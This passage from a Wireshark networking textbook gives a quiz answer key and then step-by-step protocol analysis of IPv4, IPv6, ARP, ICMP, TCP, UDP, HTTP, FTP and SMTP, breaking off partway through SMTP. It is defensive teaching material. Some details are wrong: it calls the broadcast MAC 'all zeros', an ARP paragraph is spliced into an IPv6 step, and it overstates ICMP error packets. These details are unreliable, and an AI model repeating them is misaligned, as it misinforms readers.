d) All of the above

6. Which  of  the  following  is  a  technique  for  identifying

anomalies in network traffic?

a) Traffic analysis

b) Protocol analysis

c) Host identification

d) User identification

7. How  does  Wireshark  assist  in Capturing  SMTP

Password?

a) By encrypting SMTP traffic

b) By preventing SMTP authentication

c) By monitoring and analyzing email communications

d) By blocking SMTP connections

8. How can Wireshark be used to identify hosts?

a)  By  analyzing  the  HTTP  headers  in  the  captured

packets.

b) By using the "Find" feature.

c) By exporting the captured packets to a CSV file.

d) By looking at the IP addresses in the captured packets.

9. How can Wireshark be used to identify users?

a)  By  analyzing  the  DNS  requests  in  the  captured

packets.

b) By using the "Find" feature.

c) By  looking  at  the  source  and  destination  IP  addresses

in the captured packets.

d) By exporting the captured packets to a CSV file.

10. How  can  Wireshark  be  used  to  detect  unauthorized

access to a network?

a)  By  analyzing  the  HTTP  headers  in  the  captured

packets.

b) By  analyzing  the  source  and  destination  IP  addresses

in the captured packets.

c) By analyzing the DNS requests in the captured packets.

d) By using the "Find" feature.

 

Answers

1. b

2. c

3. b

4. c

5. a

6. b

7. c

8. d

9. c

10. d
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CHAPTER 6

 

Analyzing Network Traffic

Based on Protocols

 

Introduction

In this chapter, we will delve deeper into network analysis by focusing on the various protocols used in network communication and how we can use Wireshark to analyze traffic based on these protocols.

Network protocols are a set of rules that govern the exchange of data between devices on a network. Understanding these protocols and how they are used in network communication is essential for network administrators and security professionals to effectively monitor and troubleshoot network issues.

In this chapter, we will cover some of the most commonly used network protocols, including IPv4, IPv6, ARP, ICMP, TCP, UDP, etc. We will explore the characteristics of each protocol, their purpose in network communication, and how to use Wireshark to analyze traffic based on these protocols.

By the end of this chapter, you will have a better understanding of how to analyze network traffic based on protocols, which will help you to identify and resolve network issues more efficiently, and also detect any potential security threats that might be present on your network.

Structure

In this chapter, we will discuss the following topics:

IPv4 and IPv6

ARP

ICMP

TCP

UDP

HTTP

FTP

SMTP

DHCPv6

DNS

 

Objectives

Analyzing network traffic is a critical aspect of network management and security. It allows network administrators and security professionals to identify potential issues and threats and take corrective action. Wireshark, the popular network protocol analyzer, is an essential tool for network traffic analysis.

This chapter will provide readers with an in-depth understanding of analyzing network traffic based on Wireshark protocols. We will begin by discussing the various network protocols, such as TCP, UDP, HTTP, DNS, and FTP, among others, and their respective functions in network communication. This knowledge will be fundamental in analyzing network traffic as it provides a basis for identifying traffic patterns and behaviors.

Next, we will dive into practical aspects of network traffic analysis using Wireshark. This will include understanding how to capture and filter network traffic based on specific protocols. We will then explore how to interpret captured traffic data and use various Wireshark features to analyze network traffic.

Readers will also learn how to identify different types of traffic based on protocols and distinguish between normal and abnormal traffic.

By the end of this chapter, readers will have a comprehensive understanding of how to analyze network traffic based on protocols using Wireshark. This knowledge is invaluable for network administrators and security professionals who need to identify and resolve network issues, as well as mitigate security threats.

 

IPv4 and IPv6

Internet Protocol version 4 (IPv4) and Internet Protocol version 6 (IPv6) are two versions of the Internet Protocol used for transmitting data packets over the Internet. IPv4 is the older and more widely used protocol, while IPv6 is the newer and more advanced protocol.

IPv4 uses 32-bit addressing, allowing a maximum of approximately 4.3 billion unique addresses. As the number of internet-connected devices continues to grow, the availability of IPv4 addresses is becoming increasingly limited. IPv6, on the other hand, uses 128-bit addressing, providing a much larger pool of unique addresses (approximately 3.4 x 10^38). This ensures that there will be enough IP addresses to accommodate future growth.

Another significant difference between IPv4 and IPv6 is the format of the IP address. IPv4 addresses are written as four decimal numbers separated by periods (for example, 192.168.1.1), while IPv6 addresses are written in hexadecimal notation separated by colons (for example, 2001:0db8:85a3:0000:0000:8a2e:0370:7334).

IPv6 also includes several other features and improvements over IPv4, including better security, improved quality of service, and simplified header format. However, the widespread adoption of IPv6 has been relatively slow due to the existing infrastructure and devices that only support IPv4.

IPv4 protocol analysis using Wireshark

IPv4 protocol analysis using Wireshark involves capturing network traffic and analyzing the IPv4 packets transmitted over the network. Wireshark is a powerful network protocol analyzer that can capture, filter, and display network traffic in real-time.

Here are some steps to analyze the IPv4 protocol using Wireshark:

1. Start  Wireshark  and  select  the  appropriate  network

interface for capturing network traffic.

2. Start  the  capture  and  let  it  run  for  a  specific  duration  or

until you have captured enough packets for analysis.

3. Once  the  capture  is  complete,  apply  a  filter  to  isolate  IPv4

packets  from  other  network  traffic.  To  do  this,  enter

"ip.version  ==  4" in  the  Wireshark  filter  bar,  as  shown  in

Figure  6.1,  which  will  display  only  IPv4  packets,  including

IPv4 packets.
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Figure 6.1: IPv4 filtered packets

4. Examine  the  captured  IPv4  packets  using  Wireshark's

packet list and packet details views, as shown in Figure 6.2.

You  can  expand  each  packet  to  see  the  details,  including

the  source  and  destination  IP  addresses,  protocol  used,

packet length, time stamp, and other relevant information.
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Figure 6.2: IPv4 packet details

5. Identify the most frequently used protocols in the captured

traffic  using  Wireshark's  protocol  hierarchy  statistics

feature. To do this, go to the "Statistics" menu and select

"Protocol  Hierarchy".  This  will  display  a  summary  of  the

most  frequently  used  protocols,  including  their  respective

packet count and byte count.

6. Use  Wireshark's  endpoint  statistics  feature  to  identify  the

most  active  hosts  on  the  network.  To  do  this,  go  to  the

"Statistics" menu and select "Endpoints". This will display

a  summary  of  the  most  active  hosts,  including  their

respective IP addresses, packet count, and byte count.

7. Analyze  the  traffic  patterns  and  behaviors  in  the  captured

traffic.  Look  for  any  abnormal  traffic  patterns,  such  as

unusually  high  traffic  volume  or  traffic  from  unknown

sources. Investigate any suspicious traffic further to identify

potential security threats.

For example, let us say that during the analysis of captured IPv4 packets, you notice a high volume of traffic from an unknown IP address. This could be a potential red flag, as it may indicate an unauthorized user or a malware infection. To investigate this further, you could use Wireshark's filter feature to isolate the traffic from the unknown IP address and analyze it more closely. Upon closer inspection, you might notice that the unknown IP address is making frequent requests to a specific port on your network. This could be an indication of a port scanning attack, which is often used by hackers to identify open ports and vulnerabilities in a network.

To mitigate this threat, you could use a firewall to block traffic from the unknown IP address, or you could implement additional security measures to protect against port scanning attacks. This could include using intrusion detection systems, configuring your firewall to block traffic from known malicious IP addresses, or setting up alerts to notify you of potential security threats.

Overall, by analyzing the traffic patterns and behaviors in captured IPv4 packets using Wireshark, you can gain valuable insights into your network's performance and security. This information can help you identify potential threats, optimize network performance, and enhance overall network management.

 

IPv6 protocol analysis using Wireshark

IPv6 protocol analysis using Wireshark involves capturing and analyzing network traffic that uses the IPv6 protocol. Here are the steps to analyze the IPv6 protocol using Wireshark:

1. Start  Wireshark  and  select  the  appropriate  network

interface for capturing network traffic.

2. Click on the "Start" button in Wireshark to begin capturing

packets. You can specify the capture duration or simply stop

the  capture  once  you  have  collected  enough  packets  to

analyze.

3. To  filter  only  IPv6  traffic,  enter "ip.version==6"  in  the

Wireshark  filter  bar.  This  will  display  only  IPv6  packets,

including their details, as shown in Figure 6.3:
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Figure 6.3: IPv6 filtered packets

 

4. Wireshark's  packet  list  view  shows  each  captured  packet,

and you can expand each packet to see its details, including

the  source  and  destination  IP  addresses,  protocol  used,

packet  length,  timestamp,  and  other  relevant  information,

as shown in Figure 6.4:
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Figure 6.4: IPv6 packet details

5. Identify the most frequently used protocols in the captured

traffic  using  Wireshark's  protocol  hierarchy  statistics

feature.  To  view  the  most  frequently  used  protocols,  select

the  "Statistics"  menu  and  select  "Protocol  Hierarchy".

This  feature  summarizes  the  most  frequently  used

protocols,  including  their  respective  packet  count  and  byte

count.

6. Analyze  the  traffic  patterns  and  behaviors  in  the  captured

traffic. Let us say that you are analyzing IPv6 traffic on your ARP operates at the Data Link Layer (Layer 2) of the OSI model and is used to resolve addresses on the same physical network. It is a stateless protocol that does not keep track of the devices on the network or their physical addresses. In this section, we will discuss how to analyze ARP packets using Wireshark.

network using Wireshark and you notice a large number of

packets  being  sent  to  a  specific  IP  address  that  is  not

normally associated with any of the applications or services

running  on  your  network.  This  could  be  an  indication  of  a

potential security threat or unauthorized activity.

To investigate further, you could use Wireshark to examine the packet details of the traffic sent to that IP address. You might notice that the packets are being sent using an unusual protocol or port number, which could indicate that the traffic is malicious or unwanted.

Using the information gathered from Wireshark, you could then take appropriate action, such as blocking traffic to that IP address or investigating further to identify the source of the traffic and take appropriate remediation steps.

In this way, analyzing traffic patterns and behaviors in captured traffic using Wireshark can help you to proactively detect and respond to potential security threats on your network, as well as optimize network performance and troubleshoot any issues that may arise.

 

ARP

The Address Resolution Protocol (ARP) maps an IP address to a physical (MAC) address on a local network. When a device wants to communicate with another device on the same network, it needs to know the physical address of that device to send data. ARP enables devices to discover the physical addresses of other devices on the network.

For example, when Device A wants to send data to Device B but does not know B's physical address, it sends an ARP request packet to all the devices in the network asking, "Who has IP address X.X.X.X?" And when Device B receives it, it replies with an ARP reply packet containing its physical address. With this information, Device A can send data to Device B using its physical address.

 

ARP protocol analysis using Wireshark

Below are the steps for analyzing ARP protocol using Wireshark:

1. Launch  Wireshark  and  start  a  capture  on  the  network

interface you want to analyze. You can do this by clicking on

the interface you want to capture on in the Wireshark home

screen or using the menu option "Capture | Options".

2. Filter  for  ARP  packets.  In  Wireshark,  type “arp”  into  the

filter  bar  and  click  the  “Apply”  button,  as  shown  in Figure

6.5.  This  filter  will  only  show  you  ARP  packets  in  the

capture.
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Figure 6.5: ARP-filtered packets

3. Once  you  have  filtered  the  capture  to  show  only  ARP

packets,  you  can  analyze  the  packets  to  understand  the

ARP communication happening on your network.

The most essential fields to consider are:

Sender  MAC  address:  This  is  the  MAC  address  of  the device that sent the ARP packet.

Sender IP address: This is the IP address of the device that sent the ARP packet.

Target  MAC  address: This  is  the  MAC  address  of  the device that the sender is trying to communicate with.

Target IP address:  This  is  the  IP  address  of  the  device that the sender is trying to communicate with.

4. Afterwards, look for ARP Requests. ARP requests are used to

find the MAC address of a device with a known IP address.

To  identify  ARP  requests,  look  for  packets  where  the

operation field is set to 1 (ARP request) and the target MAC

address is set to all zeros (FF:FF:FF:FF:FF:FF). For example, in

the same packet as the example above, the operation field

is set to 1 (ARP request), and the target MAC address is all

zeros, indicating that this is an ARP request packet. As you

can also see in Figure 6.6:
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Figure 6.6: ARP request packet details

5. Look  for  ARP  Replies.  ARP  replies  are  sent  in  response  to

ARP requests. In an ARP reply, the sender's MAC address is

set to the MAC address of the device being requested, and

the  target  MAC  address  is  set  to  the  MAC  address  of  the

device  that  sent  the  ARP  request.  Look  at  the  ARP  reply

packet in Figure 6.7:
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Figure 6.7: ARP reply packet details

6. You  can  also  use  the  Wireshark  statistics  feature  to  see  a

summary  of  the  ARP  traffic  on  the  network.  Go  to

"Statistics" | "ARP" to see the number of ARP requests and

replies on the network.

7. Analyze  the  time  between  ARP  requests  and  ARP  replies.

Long delays between ARP requests and replies can indicate

network congestion or problems with the network hardware.

8. Analyze the ARP packets to see if there are any patterns in

the  traffic.  You  notice  that  many  ARP  requests  are  being

sent to the gateway IP address from different devices on the

network.

9. Look for any unusual behavior in the ARP traffic. You notice

that some devices send ARP requests to the gateway router

every few seconds, even though the gateway MAC address

is already in their ARP cache. This behavior is abnormal and

indicates a problem on the network.

10. Check the network hardware to see if there are any issues.

You  find  that  a  switch  in  the  network  is  misconfigured,

causing the devices to flood the network with ARP requests.

Fix the issue with the switch to reduce the ARP traffic on the

network. Monitor the ARP traffic to ensure that the issue has

been  resolved.  If  the  ARP  traffic  returns  to  normal  levels,

the issue has been resolved.


ICMP

The Internet Control Message Protocol (ICMP) is used to send error messages and operational information about network conditions to hosts and routers in the Internet Protocol (IP) network.

ICMP is primarily used to report errors that occur during the transmission of IP packets, such as destination unreachable or time exceeded. It can also be used for other purposes, such as diagnostic and control functions.

ICMP messages are encapsulated within IP packets and sent to the source IP address of the original packet. The ICMP header includes a type field, a code field, and a checksum field, along with additional data depending on the message type.

Some common types of ICMP messages include:

Echo  request/reply  (ping):  It  is  used  to  test  the reachability  of  a  network  host  and  to  measure  the  round-trip  time  for  packets  to  travel  from  the  source  to  the destination and back.

Destination unreachable: It indicates that the destination network or host is unreachable for some reason, such as a network failure or a firewall blocking the traffic.

Time  exceeded:  It  indicates  that  a  packet  was  discarded because  it  exceeded  the  maximum  time  allowed  to  travel through the network.

Redirect: It instructs a host to send packets to a different router  as  the  next  hop  instead  of  the  originally  specified router.

ICMP is an essential protocol for troubleshooting network connectivity issues and diagnosing network problems. However, it can also be used maliciously to launch Denial of Service (DoS) attacks, such as ICMP flood attacks, where a large number of ICMP messages are sent to a target system to overwhelm its resources. Therefore, network administrators should be aware of the risks associated with ICMP and take appropriate measures to protect their networks.

 

ICMP protocol analysis using Wireshark

To perform ICMP protocol analysis using Wireshark, you can follow these steps:

1. Start  Wireshark  and  select  the  network  interface  that  you

want to capture traffic on.

2. Click  on  the  "Capture  Options"  button  to  configure  the

capture  settings.  In  the  "Capture  Filter"  section,  enter

"ICMP" (without quotes) as the filter expression to capture

only ICMP traffic.

3. Start the capture by clicking on the "Start" button. You will

now  see  a  list  of  captured  packets  in  the  main  Wireshark

window.

4. Open a command prompt or terminal window and enter the

following  command  to  start  a  ping  test:  ping

www.google.com.

5. Wait  for  the  ping  test  to  complete  (you  can  stop  the  ping

test by pressing Ctrl + C).

6. Stop  the  Wireshark  capture  by  clicking  on  the  "Stop"

button.

7. To  filter  the  captured  packets  to  show  only  ICMP  traffic,

enter "ICMP" (without quotes) in the display filter box and

press Enter,  as  shown  in Figure  6.8.  You  should  now  see

only the ICMP packets in the list.
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Figure 6.8: ICMP-filtered packets

8. You can then analyze the individual ICMP packets by clicking

on  them  in  the  list.  Wireshark  will  display  detailed

information  about  the  packet  in  the  packet  details  pane.

Look at the ICMP packet details in Figure 6.9:
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Figure 6.9: ICMP packet details

9. To  analyze  the  overall  traffic  patterns  for  ICMP  packets,  go

to "Statistics"  |  "Protocol Hierarchy"  and  select  "ICMP"

from the list. This will show you a breakdown of the number

of packets and bytes for each type of ICMP message.

10. In  this  example,  we  used  Wireshark  to  capture  the  ICMP

traffic generated during a ping test to Google's website. By

analyzing  the  captured  packets,  we  can  determine  the

round-trip time for each packet and identify any latency or

packet loss issues.

11. To analyze the individual ICMP packets, we can click on each

packet  in  the  Wireshark  capture  and  examine  the  packet

details,  such  as  the  timestamp,  source  and  destination  IP

addresses,  and  type  of  ICMP  message  (Echo  Request  or

Echo Reply). We can also examine the ICMP payload, which

contains the data sent with the ping request.

12. To analyze the overall traffic patterns for ICMP packets, we

can  use  Wireshark's  statistics  features  to  view  the  number

of packets and bytes for each type of ICMP message. In this

example,  we  should  see  mostly  Echo  Request  and  Echo

Reply  packets,  with  many  other  ICMP  packets  such  as

Destination Unreachable or Time Exceeded.

By using Wireshark to analyze ICMP traffic, we can gain valuable insights into network performance and troubleshoot connectivity issues.

This way, you can use Wireshark to analyze the traffic generated during a traceroute test.

To do this, start a traceroute test from a command prompt or terminal and then start the Wireshark capture. When the traceroute test completes, stop the Wireshark capture and filter the packets to show only ICMP traffic. You should see multiple types of ICMP packets, including Echo-Request, Echo-Reply, and Time Exceeded. By analyzing the Time-to-Live (TTL) field in the packets, you can trace the path the packets took through the network and identify any routing issues.

Also, you can use Wireshark to analyze the traffic blocked by a firewall that uses ICMP filtering rules. To do this, start the Wireshark capture and then generate some ICMP traffic that is blocked by the firewall. When the firewall blocks the traffic, you should see ICMP Destination Unreachable packets in the Wireshark capture. By analyzing the error codes in the packets, you can determine the reason why the traffic was blocked by the firewall, such as a port or protocol restriction.

 

TCP

Transmission Control Protocol (TCP) is a reliable, connection-oriented protocol used for transmitting data over a network. It is one of the core protocols of the IP suite and is widely used for applications that require reliable, error-free data transfer.

TCP provides several features that make it reliable for data transmission, including:

Connection-oriented communication: TCP establishes a virtual  connection  between  two  devices  before  data

transmission and ensures that data is delivered reliably and in order.

Error detection and correction:  TCP  uses  checksums  to ensure  that  data  is  transmitted  correctly  and  retransmits lost or corrupted packets.

Flow  control:  TCP  uses  a  sliding  window  mechanism  to manage  the  data  transmission  rate  between  two  devices, ensuring that the receiver can handle the data being sent.

Congestion  control:  TCP  monitors  the  network  for congestion  and  adjusts  the  rate  of  data  transmission  to avoid network overload.

The TCP protocol operates at the Transport layer of the Open Systems Interconnection (OSI) model and provides several services for applications, including:

Connection establishment: Before data transmission can begin,  TCP  establishes  a  virtual  connection  between  the two  devices  using  a  three-way  handshake  process.  This involves exchanging a series of control packets between the sender  and  receiver  to  negotiate  parameters  for  the connection, such as the initial sequence numbers.

Data  transmission:  Once  the  connection  is  established, data  can  be  transmitted  in  one  or  more  segments.  Each segment includes a sequence number to ensure that data is delivered  in  the  correct  order,  as  well  as  checksums  for error detection.

Connection  termination:  When  data  transmission  is complete,  TCP  terminates  the  connection  using  a  four-way handshake  process.  This  involves  exchanging  a  series  of control  packets  between  the  sender  and  receiver  to acknowledge the final packets and release the connection.

TCP is widely used for various applications, including web browsing, email, file transfers, and online gaming. Its reliability and error correction mechanisms make it a popular choice for applications that require accurate data transmission over unreliable networks.

TCP protocol analysis using Wireshark

To perform TCP protocol analysis using Wireshark, you can follow these steps:

1. Start  Wireshark  and  select  the  network  interface  that  you

want to capture traffic on.

2. Click  on  the  "Capture  Options"  button  to  configure  the

capture  settings.  In  the  "Capture  Filter"  section,  enter

"tcp"  (without  quotes)  as  the  filter  expression  to  capture

only TCP traffic.

3. Start the capture by clicking on the "Start" button.

4. Open  a  web  browser  and  navigate  to  a  website,  such  as

www.google.com.

5. Wait  for  the  webpage  to  load  and  stop  the  capture  by

clicking on the "Stop" button in Wireshark.

6. To filter the captured packets to show only TCP traffic, enter

"tcp"  (without  quotes)  in  the  display  filter  box  and  press

Enter.  As  you  can  see  in Figure  6.10.  You  should  now  see

only the TCP packets in the list.
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Figure 6.10: TCP-filtered packets

7. You can then analyze the individual TCP packets by clicking

on  them  in  the  list.  Wireshark  will  display  detailed

information  about  the  packet  in  the  packet  details  pane.

See Figure 6.11:

[image: ]

Figure 6.11: TCP packet details

The packet details pane in Wireshark shows a wide range of

information  about  the  selected  packet,  including  the

Ethernet, IP, and TCP headers, as well as any payload data

sent with the packet.

Here are some of the key pieces of information you can find

in the packet details pane for a TCP packet:

Timestamp:  The  date  and  time  that  the  packet  was captured.

Source  and  destination  addresses:  The  IP  addresses of the devices that sent and received the packet.

Source and destination ports: The TCP ports are used by the devices to send and receive the packet.

Sequence  and  acknowledgment  numbers:  The sequence  number  of  the  first  byte  in  the  TCP  segment and  the  acknowledgment  number  of  the  next  expected byte.

Flags: The TCP flags, such as SYN, ACK, FIN, RST, and PSH.

Window  size:  The  size  of  the  receive  window  for  the connection, which indicates the amount of data that can be sent before an acknowledgment is required.

Checksums: The checksums used to detect errors in the packet,  including  the  TCP  checksum  and  the  IP checksum.

Payload  data:  The  actual  data  sent  with  the  TCP segment,  which  can  include  HTTP  requests  and responses,  file  transfers,  or  other  application-specific data.

By examining the details of individual TCP packets, you can

gain  a  deeper  understanding  of  the  communication

between  devices  on  the  network  and  identify  any  issues

that  may  be  impacting  network  performance,  such  as

packet loss, latency, or errors in the data.

8. To analyze the overall traffic patterns for TCP packets, go to

"Statistics" | "Protocol Hierarchy" and select "TCP" from

the  list.  This  will  show  you  a  breakdown  of  the  number  of

packets and bytes for each type of TCP message.

In this example, we have used Wireshark to capture the TCP traffic generated during a web browsing session to Google's website. By analyzing the captured packets, we can determine the overall performance of the network connection and identify any latency or packet loss issues.

To analyze the individual TCP packets, we can click on each packet in the Wireshark capture and examine the packet details, such as the timestamp, source, destination IP addresses, and port numbers. We can also examine the TCP header, which contains information about the connection, such as the sequence and acknowledgment numbers.

To analyze the overall traffic patterns for TCP packets, we can use Wireshark's statistics features to view the number of packets and bytes for each type of TCP message. In this example, we should see mostly SYN, SYN-ACK, ACK, and data packets, with a small number of FIN and RST packets.

By using Wireshark to analyze TCP traffic in this way, we can gain valuable insights into network performance and troubleshoot connectivity issues.

 

UDP

User Datagram Protocol (UDP) is a connectionless, lightweight transport layer protocol used for sending datagrams (packets) over IP networks. It is a simple protocol that does not provide error checking or flow control mechanisms, making it faster and more efficient than TCP for applications that can tolerate some degree of packet loss or duplication.

Here are some key features of UDP:

Connectionless:  UDP  is  a  connectionless  protocol,  which means that there is no establishment of a session  between the  sender  and  receiver  before  data  transmission  begins. This  makes  it  faster  and  more  efficient  than  TCP  for applications  that  do  not  require  guaranteed  delivery  or reliability.

Lightweight:  It  is  a  lightweight  protocol  that  has  a  small header  size  (only  8  bytes),  which  makes  it  suitable  for applications that require low overhead and low latency.

Unreliable:  This  protocol  does  not  provide  error-checking or  flow-control  mechanisms,  meaning  packets  may  be  lost, duplicated,  or  delivered  out  of  order.  This  makes  UDP unsuitable for applications that require guaranteed delivery or reliability, such as file transfers or real-time streaming.

Port-based: UDP uses port numbers to identify the source and destination of packets, similar to TCP. The port number is  included  in  the  UDP  header,  which  allows  multiple applications  to  use  UDP  on  the  same  device  without interference.

Multicast  support:  It  supports  multicast,  which  allows  a single    packet    to    be    sent    to    multiple    recipients simultaneously.

Some common applications that use UDP include:

Video  and  audio  streaming:  UDP  is  commonly  used  for real-time    streaming    applications,    such    as    video conferencing, online gaming, and IP telephony.

Domain Name System (DNS): DNS uses UDP for queries and  responses  since  the  small  size  of  DNS  packets  makes UDP a more efficient choice than TCP.

Dynamic  Host  Configuration  Protocol  (DHCP):  DHCP uses UDP to assign IP addresses to devices on a network.

Simple Network Management Protocol (SNMP): SNMP uses UDP for communication between network devices and management systems.

Overall, UDP is a lightweight, fast protocol suitable for applications that require low overhead and low latency but can tolerate some degree of packet loss or duplication. It is commonly used for real-time streaming applications and network management protocols but not for applications that require guaranteed delivery or reliability.

 

UDP protocol analysis using Wireshark

To analyze UDP protocol using Wireshark, follow these steps:

1. Start  Wireshark  and  select  the  network  interface  that  you

want to capture packets from.

2. Click  on  "Capture  Options"  to  set  the  capture  filter  to

show only UDP packets.

3. Start  the  capture  and  perform  the  activity  you  want  to

analyze on your device or network.

4. Stop  the  capture  and  filter  the  packets  to  show  only  UDP

packets.

5. Analyze  the  individual  UDP  packets  by  clicking  on  them  in

the list.

Here is an example of how to analyze a UDP packet in Wireshark:

1. Start  Wireshark  and  select  the  network  interface  you  want

to capture packets from.

2. Click  on  "Capture  Options"  and  set  the  capture  filter  to

"UDP" to capture only UDP packets.

3. Start  the  capture  and  perform  the  activity  you  want  to

analyze.  For  example,  you  could  open  a  web  browser  and

load a webpage.

4. Stop the capture and apply a display filter to show only UDP

packets. To do this, type "UDP" in the display filter box and

press Enter. As you can see in Figure 6.12:
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Figure 6.12: UDP-filtered packets

5. Analyze the UDP packets by clicking on them in the list. You

can  view  detailed  information  about  each  packet  in  the

packet details pane. Refer to Figure 6.13.

In  the  packet  details  pane,  you  can  see  the  source  and

destination  IP  addresses  and  port  numbers,  as  well  as  the

length of the UDP packet. You can also view the contents of

the  packet,  which  will  vary  depending  on  the  application

that sent it.




[image: ]

Figure 6.13: UDP packet details

For example, if you captured UDP packets sent between a client and server for a video streaming application, you would see packets containing audio and video data. You could use Wireshark to analyze the packets and determine if there are any issues with packet loss or delay that are affecting the quality of the streaming experience.

Overall, using Wireshark to analyze UDP packets allows you to gain insight into the communication between devices on the network and identify any issues that may be impacting performance or reliability.

In addition to the basic UDP fields, there are several variants of the protocol, including UDP-Lite, which is designed for unreliable networks and allows for partial packet delivery. Wireshark supports all variants of the UDP protocol, and you can use filters to focus on the specific type of UDP packets you are interested in.

 

HTTP

Hypertext Transfer Protocol (HTTP) is a protocol for transmitting data over the internet. It is the primary protocol used for communication between web clients (such as browsers) and web servers. HTTP is a request-response protocol, which means that the client sends a request to the server, and the server responds with a message containing the requested data.

Here are some key features of HTTP:

Stateless:  HTTP  is  a  stateless  protocol,  meaning  each request  and  response  is  independent  of  previous  requests or responses. This means the server does not maintain any information  about  previous  requests  from  a  particular client.

Client-server  architecture:  HTTP  uses  a  client-server architecture, where the client sends requests to the server, and the server responds with data.

Request-response model:  HTTP  uses  a  request-response model, where the client sends a request to the server, and the  server  responds  with  a  message  containing  the requested data.

Method-based:  HTTP  uses  different  methods  to  indicate the type of request being made. The most common methods are GET, POST, PUT,  and DELETE. GET  is  used  for  requesting  data from the server, while POST is used for submitting data to the server.

URL-based:  HTTP  uses Uniform  Resource  Locators (URLs) to identify resources on the internet. URLs typically consist  of  a  protocol  (such  as  http://  or  https://),  followed by a domain name or IP address and a path to the resource.

Header-based:  HTTP  uses  headers  to  provide  additional information  about  the  request  or  response.  Headers  can include information such as the content type, language, and encoding.

Some common applications that use HTTP include:

Web browsing: HTTP is used by web browsers to retrieve and display web pages.

Web APIs: HTTP is used by web APIs to allow applications to communicate with each other over the internet.

File transfers: HTTP can be used for file transfers, such as downloading files from a web server.

Overall, HTTP is a widely used protocol for transmitting data over the internet. It is a stateless, client-server protocol that uses a request-response model and different methods to indicate the type of request being made. Understanding how HTTP works is important for web developers and network administrators, as it is a fundamental protocol in many web applications and services.

 

HTTP protocol analysis using Wireshark

Here are the steps to analyze HTTP protocol using Wireshark:

1. Start  Wireshark  and  select  the  interface  you  want  to

capture  traffic  on.  This  could  be  your  Ethernet  or  Wi-Fi

interface, depending on your setup.

2. Filter the traffic to only show HTTP traffic by typing "http"

in  the  filter  box  and  pressing  enter.  This  will  filter  out  all

other  network  traffic  and  show  only  HTTP  requests  and

responses, as shown in Figure 6.14:
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Figure 6.14: HTTP filtered packets

3. Visit  a  website,  for  example, "www.ethereal.com".  This

will  generate  HTTP  traffic  that  you  can  analyze  with

Wireshark.

4. Stop the capture in Wireshark by clicking on the red square

icon in the top toolbar. This will save the captured packets

for analysis.

5. Search  for  the  HTTP  GET  request  sent  to  the  website  by

filtering  the  results  for "http.request.method  ==  GET".

This will show you all the packets that contain an HTTP GET

request, as shown in Figure 6.15:
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Figure 6.15: HTTP GET request packets

 

6. Select  the  HTTP  GET  packet  and  expand  the Hypertext

Transfer  Protocol section  in  the  packet  details  window,  as

shown  in Figure  6.16.  Here,  you  will  be  able  to  see  the

details  of  the  HTTP  request,  such  as  the  request  method

("GET"),  the  URL  that  was  requested,  the  hostname

("www.ethereal.com"),  and  other  HTTP  headers.  For

example,  if  you  analyze  the  HTTP  GET  request  for

"www.ethereal.com", you might see something like this:
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Figure 6.16: HTTP GET packet details

You can also analyze HTTP responses using Wireshark by filtering for "http.response" instead of "http.request" and selecting a packet with an HTTP response code. The HTTP response will contain the requested data, as well as additional HTTP headers that provide information about the response.

 

FTP

FTP stands for File Transfer Protocol, which is a standard protocol used for transferring files between servers and clients over the internet or any other network. It is one of the oldest and most widely used protocols for file transfer. It has been around since the early days of the internet.

The basic idea behind FTP is to provide a way for users to transfer files between two computers over a network. One computer acts as a server, which stores the files to be transferred, and the other computer acts as a client, which requests and receives the files from the server.

FTP uses two ports to transfer files. Port 21 establishes the connection between the client and the server, while port 20 transmits data. When a client requests a file from the server, the server opens a connection on port 20 and begins to send the file over this connection.

FTP can be used in two modes: active mode and passive mode. In active mode, the client sends a request to the server to initiate a data transfer, and the server responds by opening a connection on port 20 and sending the data. In passive mode, the server opens a port and waits for the client to connect to it and request the data.

FTP also supports a variety of commands that can be used to perform various operations on files, such as uploading, downloading, renaming, and deleting files. These commands can be executed using an FTP client, a software application that provides a graphical user interface for accessing FTP servers.

FTP is a widely used protocol for file transfer, but it is not considered secure. It is vulnerable to eavesdropping and man-in-the-middle attacks because it sends usernames and passwords in plain text. For this reason, it is often recommended to use Secure shell File Transfer Protocol (SFTP) or File Transfer Protocol Secure (FTPS) instead, which provide secure file transfer using encryption.

 

FTP protocol analysis using Wireshark

FTP protocol analysis using Wireshark involves capturing network traffic and examining the packets to understand how the protocol works and troubleshoots any issues. Here is an example of how to analyze FTP traffic using Wireshark:

1. Start Wireshark and select the network interface to capture

traffic from.

2. Start the capture by clicking on the "Start" button or using

the Ctrl + E shortcut.

3. Open an FTP client, such as FileZilla, and connect to an FTP

server.

4. Once connected, upload or download a file to generate FTP

traffic.

5. Stop the capture by clicking the "Stop" button or using the

Ctrl + E shortcut.

6. Filter the captured packets by selecting the "FTP"  protocol

in the Wireshark filter menu, or by using the "FTP" filter in

the filter bar. See Figure 6.17:
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Figure 6.17: FTP-filtered packets

1. Examine  the  filtered  packets  to  identify  the  FTP  sessions

and commands. You should see packets containing the "FTP

Control "  protocol,  which  will  include  commands  such  as

"USER",  "PASS",  "TYPE",  "STOR",  "RETR",  etc.  You  should  also  see

packets  containing  the  "FTP  Data"  protocol,  containing  the

actual file data being transferred.

2. Analyze the FTP traffic to identify any issues. For example,

you  can  look  for  slow  transfer  speeds,  failed  transfers,  or

errors  in  the  "FTP  Control"  packets.  You  can  also  use  the

Wireshark  statistics  and  analysis  tools  to  identify  patterns

and anomalies in the FTP traffic.

FTP protocol analysis using Wireshark can be useful for troubleshooting FTP-related issues, such as slow transfer speeds or failed transfers, and monitoring network traffic for security purposes, such as identifying unauthorized FTP transfers or FTP-based attacks.

 

SMTP

SMTP stands for Simple Mail Transfer Protocol, which is a standard protocol used for sending email messages over the Internet or any other network. It is a text-based protocol that defines how email messages are exchanged between mail servers and clients. SMTP operates on port 25 by default, but it can also operate on other ports, such as 587 or 465, depending on the configuration.

SMTP uses a client-server architecture where the sender's email client connects to the recipient's email server to send the

message, as illustrated in Figure 6.18.
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Figure 6.18: SMTP process

 

The SMTP conversation typically involves the following steps:

1. The sender's email client establishes a connection with the

recipient's email server using the SMTP protocol.

2. The sender's email client sends the HELO or EHLO command to

identify itself and initiate the SMTP conversation.

3. The  recipient's  email  server  responds  with  a  greeting

message  that  includes  the  server's  name  and  other

information.

4. The  sender's  email  client  sends  the MAIL  FROM  command  to

specify the sender's email address.

5. The    recipient's    email    server    responds    with    an

acknowledgment message.

6. The  sender's  email  client  sends  the RCPT  TO  command  to

specify the recipient's email address.

7. The    recipient's    email    server    responds    with    an

acknowledgment message.

8. The  sender's  email  client  sends  the DATA  command  to

indicate the start of the message body.

